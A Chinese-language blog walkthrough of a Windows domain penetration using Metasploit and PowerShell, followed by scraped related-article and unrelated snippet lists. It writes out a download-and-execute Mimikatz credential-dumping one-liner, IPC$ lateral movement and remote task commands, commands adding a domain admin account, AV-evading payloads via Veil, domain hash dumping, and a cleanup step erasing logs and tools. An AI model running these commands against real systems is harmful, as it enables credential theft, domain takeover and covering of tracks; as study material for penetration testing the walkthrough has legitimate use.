Metasploit域渗透测试全程实录(终结篇)
本文作者:i春秋签约作家——shuteer
前言
内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:
- 免杀payload的生成,请使用Veil
- msf在meterpreter下的提权尝试
- msf在meterpreter下的bypassuac尝试
- 内网渗透测试过程中的信息关联
- meterpreter的路由添加以及相关扫描
- Powershell在meterpreter下面的使用
- Meterpreter的post模块使用
- Msf的custom自己生成的payload的使用
- 进程注入窃取令牌
其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先shell是别人给我的,也不是这里介绍的重点,所以在此忽略。
渗透测试的环境详细如下:
A 堡垒机(webshell所在机器):windows server 2012
B 堡垒机:windows 2008(powershell扫描机器)
C 堡垒机:有域管理进程的机器windows server 2012
D 堡垒机若干
第八步 Poershell获取域控管理员在线的机器
内网渗透测试不得不说到两大神器:msf和powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。
首先来讲讲powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,一般使用到的模块有下面三个:
1 Empire据说是神器,也确实是神器,我没使用过,暂时不多说
2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说
3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮
来说说powershell的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,主要有三种方式来调用:
1 当然是下载到本地执行,详细使用方法如后面连接:powershell “IEX (New-Object
Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz
-DumpCreds”
2 第二种方式是把powershell文件上传到堡垒机本地执行, powershell.exe -exec
bypass -Command “& {Import-Module .\powerview.ps1;
Invoke-UserHunter}”
3 上传到对方本地,然后Import-Module导入,使用。
PowerView的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。如果你能看到这里开始你的powershell之旅,内网将开始变得简单。
废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。Powerview中的Invoke-UserHunter是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图:
第九步 域控管理员权限的获取(windows2012权限)
在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器,又见它windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。
目前来看看我们遇到的问题,通过powershell成功获取到相关的域控管理员在线的一台机器windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。思路如下:
1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)
2 通过PowerUp的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限
3 msf的令牌窃取功能(这个可以很容易实现)
知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:
1 同样使用ipc经典入侵手法,反弹meterpreter,
Getsysttem 权限
Ps 查看域管理所在的进程
Migrate pid注入进程
2 继续经典的IPC$到域控
Meterpreter下面shell
Net use \\域控ip\c$
Net time \\域控ip
Copy bat.bat \\域控ip\c$
At \\域控ip time c:\bat.bat(意料之外的错误,提示schtasks.exe,不熟)
3 通往成功的路不只有一条,添加域管账户
Net user demo demo /ad /domain
Net group “domain admins” demo /ad /domain
到了此刻,我们已经拥有域管权限了。详细的截图如下:
第十步 域控我来了(msf p**ec反弹shell)
一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。
先将思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大
家也大家也都知道的:
1 端口转发或者socks登录域控远程桌面
2 登录对方内网的一台电脑使用p**ec来反弹shell
3 使用msf的p**ec反弹meterpreter
反弹需要注意要用到的知识,我们这里采用的是pse**c来反弹meterpreter,其中涉及到的知识如下:
1 msf中p**ec模块的使用
2 cuestom模块的使用,配合meterpreter,在payload不免杀的情况下如何使用自己Veil生成的payload
详细的使用过程如下图:
第十一步 Meterpreter获取所有用户的hash
有了域的权限之后,如果我们还想进行深层次的控制,那么dumphash是必不可少的。首先来看看我们需要的知识:
1 msf有两个模块可以使用,一个是hashdump,此模块只能导出本地的hash,大家测试就可以知道了,另外一个是smart_hashdump,此模块可以用来导出域用户的hash.
2 powershell有可以直接导出的模块,大家自行尝试一下
3 wce,mimikatz等神器的使用
在这里我采用的是msf的smart_hashdump的模块。在此需要注意的是要想使使用此模块导出hash,必须要使用system的权限才行。详细的过程如下图:
第十二步 曲折的探索之路
这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了一个从webshell到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。
根据上面的图知道,我现在控制的Session一共有5个,其中有四个是必须要获取的,分别为session1,session2
session4,session5。其中session1为webshell反弹所获得,第二个session2是信息分析获取到的,,session4为获取域管理员所获取,session5为域。其中session3就是我所走过的弯路,浪费了时间。之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。
第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)
作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。涉及到相关的知识点:
1 删除之前添加的域管理账号
2 删除所有的使用过程中的工具
3 删除自己所有的操作记录
4 关闭所有的meterpreter
在此过程中我们一共上传了两个文件,一个bar.bat,一个64位的mimikatz抓密码工具,直接删除即可。
总结
总结说点什么好呢。还是先喊口号吧——“求妹子,求师傅,求神器”。感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;作为一名程序员,我们就是想简单的coding。人生如此美好,大家何不联手,一起分享美好。
Metasploit域渗透测试全程实录(终结篇)的更多相关文章
- (一)走进Metasploit渗透测试框架
渗透测试的流程 渗透测试是一种有目的性的,针对目标机构计算机系统安全的检测评估方法,渗透测试的主要目的是改善目标机构的安全性.渗透测试各个阶段的基本工作: 1.前期交互阶段 在这个阶段,渗透测试工程师 ...
- 《Metasploit渗透测试魔鬼训练营》第一章读书笔记
第1章 魔鬼训练营--初识Metasploit 20135301 1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防 ...
- 初识域渗透利器Empire
Empire 是一款类似Metasploit 的渗透测试框架,基于python 编写,Empire是一个纯粹的PowerShell 后开发代理,建立在密码安全通信和灵活的架构上.Empire 实现了无 ...
- 用Python打造了一个渗透测试暴力探测器
资源探测的作用 通过资源探测,我们可以在目标系统中发现文件.目录.活动.服务还有相关的参数,为下一步的行动提供信息参考. 一个开源的模糊测试数据库 https://github.com/fuzzdb- ...
- 内网域渗透之MS14-068复现(CVE-2014-6324)
在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...
- 内网域渗透之MS14-068复现
在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...
随机推荐
- Go Packages、Variables、functions
[Go Packages.Variables.functions] 1.定义包名. 2.引入Package. 3.定义导出的变量.首字母必须大写. 4.函数.Notice that the type ...
- nyoj36-最长公共子序列 (LCS)
http://acm.nyist.net/JudgeOnline/problem.php?pid=36 最长公共子序列 时间限制:3000 ms | 内存限制:65535 KB 难度:3 描述 ...
- leetcode 121 股票买卖问题系列
描述: 给一些列数字,表示每条股票的价格,如果可以买卖一次(不能同一天买和卖),求最大利益(即差最大). 其他三道问题是,如果能买卖无限次,买卖两次,买卖k次. 题一: 实质是求后面一个数减前一个数的 ...
- 怎么查这个文件在linux下的哪个目录
因为要装pl/sql所以要查找tnsnames.ora文件..看看怎么查这个文件在linux下的哪个目录 find / -name tnsnames.ora 查到: /opt/app/oracle/p ...
- Linux gperf命令
一.简介 GNU 的 gperf 工具是一种 "完美的" 散列函数,可以为用户提供的一组特定字符串生成散列表.散列函数和查找函数的 C/C++ 代码.通过本文学习如何使用 gper ...
- lua简单包装
#ifndef _LUA_WRAPPER_ #define _LUA_WRAPPER_ extern "C" { #include "lua.h" #inclu ...
- 转载:字符串hash总结(hash是一门优雅的暴力!)
转载自:远航休息栈 字符串Hash总结 Hash是什么意思呢?某度翻译告诉我们: hash 英[hæʃ] 美[hæʃ]n. 剁碎的食物; #号; 蔬菜肉丁;vt. 把…弄乱; 切碎; 反复推敲; 搞糟 ...
- div清空填充
1.清空 $('#editPrize').empty(); 2.填充 var html= '<span>追加</span>'; $('#editPrize' ).append( ...
- mongodb的安装与启动(centos7)
公司迁移mongodb,查了半天资料,各种考证,各种资讯,最后我选择很野蛮的直接把库和日志直接scp过来了....... 记录下如何安装和启动mongodb: 1.解压mongodb: [root@i ...
- 解决Error running 'index.jsp : Address localhost:1099 is already in use的方法
晚上在idea中 启动服务器一次后 正常运行,但是改了注解配置后 报错,报错为Error running 'index.jsp : Address localhost:1099 is alread ...